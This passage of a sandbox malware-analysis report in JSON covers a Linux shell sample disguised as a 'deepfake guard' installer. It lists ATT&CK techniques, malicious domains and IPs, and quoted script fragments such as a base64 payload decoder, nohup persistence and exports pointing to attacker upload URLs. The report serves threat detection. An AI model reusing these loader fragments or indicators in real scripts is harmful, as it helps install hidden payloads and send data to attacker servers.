command"},{"type":"informative","value":"Able to access file/directory"},{"type":"informative","value":"Reads files"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to list running processes"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Gets user and/or group ID (syscall)"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Looks up network configuration"},{"type":"informative","value":"Retrieves the configured DNS server"},{"type":"informative","value":"Calls a system call typically used to retrieve the current address to which the socket is bound"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Queries socket options"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"suspicious","value":"Reads hosts file (syscall)"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Uses cURL to download a file/payload"},{"type":"suspicious","value":"Drops ELF executable files"},{"type":"informative","value":"Able to use cURL command for network data transfer"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"malicious","value":"Encodes and/or decodes data with Base64"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"malicious","value":"Reads OpenSSL configuration"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify text in file or stream"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Impact","technique":"Data Destruction","attack_id":"T1485","attack_id_wiki":"https://attack.mitre.org/techniques/T1485","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to remove a file/directory","description":"$27","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-5065","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify text in file or stream","description":"file/memory contains long string with (Indicator: \"sed\"; File: \"a46ae3fecc95f841_.kdm.Lf6YQe\")\n file/memory contains long string with (Indicator: \"sed\"; File: \"bc8ccae44af41d4c_deepfake_guard_run.sh\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-5034","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Creates temporary file/directory","description":"Executes \"mktemp\" with arguments \"/var/tmp/.kdm.XXXXXX\"","origin":"API Call","mitre_attack_id":"T1564","relevance":3,"id":"api-1173","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Encodes and/or decodes data with Base64","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access file/directory","description":"file/memory contains long string with (Indicator: \"mkdir \"; File: \"a46ae3fecc95f841_.kdm.Lf6YQe\")\n file/memory contains long string with (Indicator: \"mkdir \"; File: \"bc8ccae44af41d4c_deepfake_guard_run.sh\")\n Found string \"mkdir -p /var/tmp/deepfake_guard_work\" (Indicator: \"mkdir \"; File: \"mkdir\")\n Found string \"mkdir /var/tmp/deepfake_guard.lock.d\" (Indicator: \"mkdir \"; File: \"mkdir\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-779","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system information using uname","description":"file/memory contains long string with (Indicator: \"uname -\"; File: \"verify_m\")\n file/memory contains long string with (Indicator: \"uname -\"; File: \"a46ae3fecc95f841_.kdm.Lf6YQe\")\n file/memory contains long string with (Indicator: \"uname -\"; File: \"bc8ccae44af41d4c_deepfake_guard_run.sh\")\n Found string \"case \"$(uname -s)\" in\" (Indicator: \"uname -\"; File: \"verify_m\")\n Found string \"uname -s\" (Indicator: \"uname -\"; File: \"uname\")\n Found string \"uname -m\" (Indicator: \"uname -\"; File: \"uname\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-5079","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Environment Awareness","name":"Able to search file or word using grep command","description":"file/memory contains long string with (Indicator: \"grep \"; File: \"verify_m\")\n file/memory contains long string with (Indicator: \"grep \"; File: \"a46ae3fecc95f841_.kdm.Lf6YQe\")\n file/memory contains long string with (Indicator: \"grep \"; File: \"bc8ccae44af41d4c_deepfake_guard_run.sh\")\n Found string \"if [ -f /etc/os-release ] && grep -qi ubuntu /etc/os-release 2>/dev/null; then\" (Indicator: \"grep \"; File: \"verify_m\")\n Found string \"grep -qi ubuntu /etc/os-release\" (Indicator: \"grep \"; File: \"grep\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-5080","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query or export environmental variables","description":"Found string \"export NVDG_INSTALLER_DIR=\"${NVDG_INSTALLER_DIR:-$(pwd)}\"\" (Indicator: \"export\"; File: \"verify_m\")\n Found string \"export NVDG_DETACHED=1\" (Indicator: \"export\"; File: \"verify_m\")\n Found string \"export NVDG_LAUNCHER=\"${0}\"\" (Indicator: \"export\"; File: \"verify_m\")\n Found string \"export GUARD_STORE=\"https://api.gaganata.ink\"\" (Indicator: \"export\"; File: \"verify_m\")\n Found string \"export GUARD_STORE_FALLBACK=\"https://api.fallgganata.ink\"\" (Indicator: \"export\"; File: \"verify_m\")\n Found string \"export GUARD_LOG_UPLOAD_URL=\"https://api.gaganata.ink/guard-install-log\"\" (Indicator: \"export\"; File: \"verify_m\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-5035","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Environment Awareness","name":"Gets user and/or group ID (syscall)","description":"/usr/bin/bash used: getuid\n /usr/bin/bash used: geteuid","origin":"API Call","mitre_attack_id":"T1033","id":"api-1004","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA TCPv4 invalid checksum\" (SID: 2200074, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"General","name":"Calls native functions (syscalls)","description":"$28","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-1150","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"172.67.196.60:443\"\n \"104.21.84.196:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"General","name":"Contains native function calls (syscalls strings)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-5000","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.gaganata.ink\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"General","name":"Sets default file mode creation mask","description":"/usr/bin/chmod set umask\n /usr/bin/mkdir set umask","origin":"API Call","mitre_attack_id":"T1222.002","id":"api-1147","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"a46ae3fecc95f841_.kdm.Lf6YQe\" has type \"Bourne-Again shell script ASCII text executable\"- [targetUID: N/A]\n \"bc8ccae44af41d4c_deepfake_guard_run.sh\" has type \"Bourne-Again shell script ASCII text executable\"- [targetUID: N/A]\n \"2fac3fd2b0438c86_deepfake_guard.log\" has type \"ASCII text\"- [targetUID: N/A]\n \"9cacfd988fb50bc7_deepfake_guard.launcher.status\" has type \"ASCII text\"- [targetUID: N/A]\n \"f8486352cbff3941_pid\" has type \"ASCII text\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"/usr/bin/bash reads file /lib/x86_64-linux-gnu/libtinfo.so.6\n /usr/bin/bash reads file /lib/x86_64-linux-gnu/libc.so.6\n /usr/bin/bash reads file /home/ubuntu/verify_m\n /usr/bin/bash reads file

\n /usr/bin/bash reads file /var/tmp/deepfake_guard.launcher.status\n /usr/bin/rm reads file /lib/x86_64-linux-gnu/libc.so.6\n /usr/bin/sleep reads file /lib/x86_64-linux-gnu/libc.so.6\n /usr/bin/sleep reads file /usr/share/locale/locale.alias\n /usr/bin/bash reads file /usr/share/locale/locale.alias","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-1156","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Delays the execution for specified amount of time","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Network Related","name":"Able to use cURL command for network data transfer","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-5074","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Network Related","name":"Calls a system call typically used to retrieve the current address to which the socket is bound","description":"/usr/bin/curl executed: getsockname","origin":"API Call","mitre_attack_id":"T1016","relevance":3,"id":"api-1152","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 0149f47eabf9a20d0893e2a44e5a6323\n Observed JA3 fingerprint: 976771cc12ab6391a021ebc6c1d77991","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://api.gaganata.ink\"\n Found HTTPS url \"https://api.fallgganata.ink\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Network Related","name":"Queries socket options","description":"/usr/bin/curl uses: getsockopt","origin":"API Call","mitre_attack_id":"T1049","id":"api-1007","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Network Related","name":"Retrieves the configured DNS server","description":"/usr/bin/curl reads file /etc/resolv.conf","origin":"API Call","mitre_attack_id":"T1016","relevance":7,"id":"api-1199","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"172.67.196.60\" on port \"443\"\n HTTPS traffic to \"104.21.84.196\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls a system call typically used to get directory entries","description":"/usr/bin/bash executed: getdents64\n /usr/bin/find executed: getdents64","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-1153","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls a system call typically used to retrieve information about a mounted filesystem","description":"/usr/bin/mkdir executed: statfs\n /usr/bin/find executed: statfs","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-1151","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"file/memory contains long string with (Indicator: \"base64\"; File: \"verify_m\")\n Found string \"printf %s \"$_9698b5\" | (base64 -D 2>/dev/null || base64 -d) > \"$_46ca73\" || { echo \"[$(date '+%Y-%m-%d %H:%M:%S')] FAIL payload decode failed\" >> \"$LOG_FILE\"; write_launcher_status 1 0 0 decode_failed; exit 1; }\" (Indicator: \"base64\"; File: \"verify_m\")\n Found string \"base64 -D\" (Indicator: \"base64\"; File: \"base64\")\n Found string \"base64 -d\" (Indicator: \"base64\"; File: \"base64\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to list running processes","description":"file/memory contains long string with (Indicator: \"ps -eo\"; File: \"a46ae3fecc95f841_.kdm.Lf6YQe\")\n file/memory contains long string with (Indicator: \"ps -eo\"; File: \"bc8ccae44af41d4c_deepfake_guard_run.sh\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-5018","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Ignores hang up signals (command)","description":"/usr/bin/bash executed: nohup bash /home/ubuntu/verify_m\n /usr/bin/bash executed: nohup bash /var/tmp/deepfake_guard_run.sh","origin":"API Call","mitre_attack_id":"T1564.011","relevance":1,"id":"api-1184","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries system general information (command)","description":"/usr/bin/uname executed: uname -s\n /usr/bin/uname executed: uname -m","origin":"API Call","mitre_attack_id":"T1082","relevance":5,"id":"api-1056","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries system general information (syscall)","description":"/usr/bin/bash used: uname\n /usr/bin/uname used: uname\n /usr/bin/find used: uname","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-1006","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"1/26 Antivirus vendors marked sample as malicious (3% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"suspicious","category":"General","name":"Changes file or directory permissions (command)","description":"/usr/bin/chmod executed: chmod 700 /var/tmp/.kdm.Lf6YQe\n /usr/bin/chmod executed: chmod +x /var/tmp/deepfake_guard_run.sh","origin":"API Call","mitre_attack_id":"T1222.002","relevance":7,"id":"api-1067","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"suspicious","category":"General","name":"Executes a shell command","description":"/usr/bin/bash executed: bash /home/ubuntu/verify_m\n /usr/bin/bash executed: bash /var/tmp/.kdm.Lf6YQe\n /usr/bin/bash executed: bash /var/tmp/deepfake_guard_run.sh","origin":"API Call","mitre_attack_id":"T1059.004","relevance":10,"id":"api-1059","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops ELF executable files","description":"\"a46ae3fecc95f841_.kdm.Lf6YQe\" has type \"Bourne-Again shell script ASCII text executable\"- [targetUID: N/A]\n \"bc8ccae44af41d4c_deepfake_guard_run.sh\" has type \"Bourne-Again shell script ASCII text executable\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-45","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"suspicious","category":"Network Related","name":"Reads hosts file (syscall)","description":"curl read: /etc/host.conf\n curl read: /etc/hosts","origin":"API Call","mitre_attack_id":"T1018","relevance":10,"id":"api-1028","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.67.196.60 on port 443 is sent without HTTP header\n TCP traffic to 104.21.84.196 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"suspicious","category":"Network Related","name":"Uses cURL to download a file/payload","description":"$2c","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-1060","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Reads users database (/etc/passwd file) (syscall)","description":"curl reads: /etc/passwd","origin":"API Call","mitre_attack_id":"T1003.008","relevance":10,"id":"api-1009","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Discards output of command(s)","description":"/usr/bin/bash opened: /dev/null\n /usr/bin/curl opened: /dev/null","origin":"API Call","mitre_attack_id":"T1070.003","relevance":10,"id":"api-1048","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Encodes and/or decodes data with Base64","description":"/usr/bin/base64 executed: base64 -D\n /usr/bin/base64 executed: base64 -d","origin":"API Call","mitre_attack_id":"T1132.001","relevance":10,"id":"api-1137","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"malicious","category":"Cryptographic Related","name":"Reads OpenSSL configuration","description":"curl read: /usr/lib/ssl/openssl.cnf","origin":"API Call","mitre_attack_id":"T1573.002","relevance":3,"id":"api-1025","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"malicious","category":"Installation/Persistence","name":"Creates a daemon out of the process (command)","description":"/usr/bin/bash executed: nohup bash /home/ubuntu/verify_m\n /usr/bin/bash executed: nohup bash /var/tmp/deepfake_guard_run.sh","origin":"API Call","mitre_attack_id":"T1543.002","relevance":3,"id":"api-1053","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"gaganata.ink\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"malicious","category":"Network Related","name":"Detected malicious domain extracted during analysis","description":"EXTRACTED DOMAIN: \"fallgganata.ink\" identified as malicious but was not contacted during analysis (Source: EXTRACTED_FILE_DOMAINS)","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-8617","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"malicious","category":"Network Related","name":"Looks up network configuration","description":"curl read: /etc/resolv.conf","origin":"API Call","mitre_attack_id":"T1016","relevance":3,"id":"api-1018","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Delays the execution for specified amount of time","description":"/usr/bin/bash executed: \"sleep\" with commandline \"sleep 1\"\n /usr/bin/bash executed: \"sleep\" with commandline \"sleep 0.5\"\n /usr/bin/bash executed: \"sleep\" with commandline \"sleep 60\"","origin":"Monitored Target","mitre_attack_id":"T1497.003","relevance":3,"id":"target-5054","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]}],"incidents":[{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries system general information (command)"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]}],"intel_graph":{"map":{"Domain:api.gaganata.ink":{"type":"Domain","value":"api.gaganata.ink"},"File:2fac3fd2b0438c86fadc0fd0c3f3edb8ba3cdf5bd81377eb00a0231438a4f4f0":{"type":"File","value":"2fac3fd2b0438c86fadc0fd0c3f3edb8ba3cdf5bd81377eb00a0231438a4f4f0"},"File:9cacfd988fb50bc7468779e85c044792b108b5fb837c1b8f6d159ab96de666a8":{"type":"File","value":"9cacfd988fb50bc7468779e85c044792b108b5fb837c1b8f6d159ab96de666a8"},"File:a46ae3fecc95f84175b58f650c3006a745a5d114cab89c48f9a0c351a9f02017":{"type":"File","value":"a46ae3fecc95f84175b58f650c3006a745a5d114cab89c48f9a0c351a9f02017"},"File:bc8ccae44af41d4ce5c3c93100df9bab251fe11a538d556f14dfb715d5c76075":{"type":"File","value":"bc8ccae44af41d4ce5c3c93100df9bab251fe11a538d556f14dfb715d5c76075"},"File:c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d":{"type":"File","value":"c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d"},"File:f8486352cbff39416e12f52c5e5a7d570a4742c11a8e84f51dd935985cd0f3f7":{"type":"File","value":"f8486352cbff39416e12f52c5e5a7d570a4742c11a8e84f51dd935985cd0f3f7"},"Ip:104.21.84.196":{"type":"Ip","value":"104.21.84.196"},"Ip:172.67.196.60":{"type":"Ip","value":"172.67.196.60"}},"chains":[{"id":"sandbox_network","root":"File:c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","edges":[{"edge_kind":"contacted_ip","from_key":"File:c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","to_key":"Ip:172.67.196.60"},{"edge_kind":"contacted_ip","from_key":"File:c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","to_key":"Ip:104.21.84.196"},{"edge_kind":"contacted_domain","from_key":"File:c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","to_key":"Domain:api.gaganata.ink"},{"edge_kind":"resolves_to","from_key":"Domain:api.gaganata.ink","to_key":"Ip:172.67.196.60"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","edges":[{"edge_kind":"extracted","from_key":"File:c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","to_key":"File:a46ae3fecc95f84175b58f650c3006a745a5d114cab89c48f9a0c351a9f02017"},{"edge_kind":"extracted","from_key":"File:c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","to_key":"File:bc8ccae44af41d4ce5c3c93100df9bab251fe11a538d556f14dfb715d5c76075"},{"edge_kind":"extracted","from_key":"File:c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","to_key":"File:2fac3fd2b0438c86fadc0fd0c3f3edb8ba3cdf5bd81377eb00a0231438a4f4f0"},{"edge_kind":"extracted","from_key":"File:c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","to_key":"File:9cacfd988fb50bc7468779e85c044792b108b5fb837c1b8f6d159ab96de666a8"},{"edge_kind":"extracted","from_key":"File:c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","to_key":"File:f8486352cbff39416e12f52c5e5a7d570a4742c11a8e84f51dd935985cd0f3f7"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":80,"spawned_processes_count":80,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":0,"dropped_files_count":0,"extracted_files_count":5,"files_written_count":10,"files_deleted_count":9,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":1,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["malicious","proximity","extracted_domain"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6ac2a0c07fec0d74f60ae171","environment_id":330,"environment_description":"Linux (Ubuntu 24.04, 64 bit)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"OSX.Agent","submit_name":"verify_m","analysis_start_time":"2026-10-04T18:56:23+00:00","indicators_count":{"informative":31,"suspicious":18,"malicious":10},"tags":["Multi-Process","Network Traffic","Extracted 